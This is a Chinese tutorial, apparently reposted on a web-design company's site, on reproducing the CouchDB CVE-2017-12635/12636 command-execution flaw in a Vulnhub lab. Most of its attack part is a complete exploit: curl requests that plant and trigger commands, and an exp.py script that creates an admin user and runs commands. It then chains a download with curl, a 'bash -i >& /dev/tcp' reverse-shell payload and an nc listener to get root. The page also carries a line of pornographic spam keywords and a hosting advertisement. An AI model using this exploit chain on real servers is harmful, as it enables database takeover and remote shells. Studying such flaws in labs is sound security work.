真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

利用Vulnhub復(fù)現(xiàn)漏洞-Couchdb任意命令執(zhí)行-創(chuàng)新互聯(lián)

漏洞原理:
Apache CouchDB是一個開源數(shù)據(jù)庫,專注于易用性和成為"完全擁抱web的數(shù)據(jù)庫"。它是一個使用JSON作為存儲格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數(shù)據(jù)庫。應(yīng)用廣泛,如BBC用在其動態(tài)內(nèi)容展示平臺,Credit Suisse用在其內(nèi)部的商品部門的市場框架,Meebo,用在其社交平臺(web和應(yīng)用程序)。

專注于為中小企業(yè)提供網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計服務(wù),電腦端+手機端+微信端的三站合一,更高效的管理,為中小企業(yè)滿城免費做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動了上千多家企業(yè)的穩(wěn)健成長,幫助中小企業(yè)通過網(wǎng)站建設(shè)實現(xiàn)規(guī)模擴充和轉(zhuǎn)變。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一個任意命令執(zhí)行漏洞,我們可以通過config api修改couchdb的配置query_server,這個配置項在設(shè)計、執(zhí)行view的時候?qū)⒈贿\行。

漏洞復(fù)現(xiàn):
1、新增query_server配置,寫入要執(zhí)行的命令;
curl -X PUT 'http://pppp:pppp@靶機ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
紅箭頭的是自己創(chuàng)建的賬號和密碼,下面顯示我的已經(jīng)有了。
利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行
2、新建一個臨時庫和臨時表,插入一條記錄;
①curl -X PUT 'http://pppp:pppp@靶機ip:5984/oll'
②curl -X PUT 'http://pppp:pppp@靶機ip:5984/oll/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
紅箭頭指的是自己創(chuàng)建的表
利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行
3.調(diào)用query_server處理數(shù)據(jù)
curl -X PUT http://pppp:pppp@靶機ip:5984/oll/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

執(zhí)行EXP反彈Shell:
1.反彈腳本:在home下面創(chuàng)建個index.html。添以下內(nèi)容
bash -i >& /dev/tcp/172.16.11.2/9000 0>&1
紅箭頭指的是本機ip
利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行
2.另起一個終端,在home下執(zhí)行 python -m SimpleHTTPServer 8000
利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行
3.創(chuàng)建一個exp.py的腳本,如下:
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

target = 'http://192.168.8.148:5984'
command = '"bash -i >& /dev/tcp/192.168.8.148/4444 0>&1"'
version = 2

session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
#session.proxies = {
#'http': 'http://127.0.0.1:8085'
#}
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行

4.修改exp.py中command的值為:curl 172.16.11.2:8000 -o /tmp/bashell 保存并執(zhí)行命令 python exp.py。
這個時候可以看見HTTP服務(wù)成功監(jiān)聽到下載請求

5.再重新打開一個終端,并監(jiān)聽著 nc -lnvp 9000 ,監(jiān)聽本地9000端口
利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行

6.修改 exp.py 中的 command 的值為 bash /tmp/bashell ,保存并執(zhí)行命令 python exp.py ,成功獲取反彈回來的Shell
利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行
target的ip為靶機ip(一定要寫對,別學(xué)本人ip寫錯,發(fā)愁一天)

7.這樣就成功了。
利用Vulnhub復(fù)現(xiàn)漏洞 - Couchdb 任意命令執(zhí)行
獲得root。

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)cdcxhl.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機、免備案服務(wù)器”等云主機租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務(wù)可用性高、性價比高”等特點與優(yōu)勢,專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場景需求。


本文標(biāo)題:利用Vulnhub復(fù)現(xiàn)漏洞-Couchdb任意命令執(zhí)行-創(chuàng)新互聯(lián)
網(wǎng)站URL:http://weahome.cn/article/eodsj.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部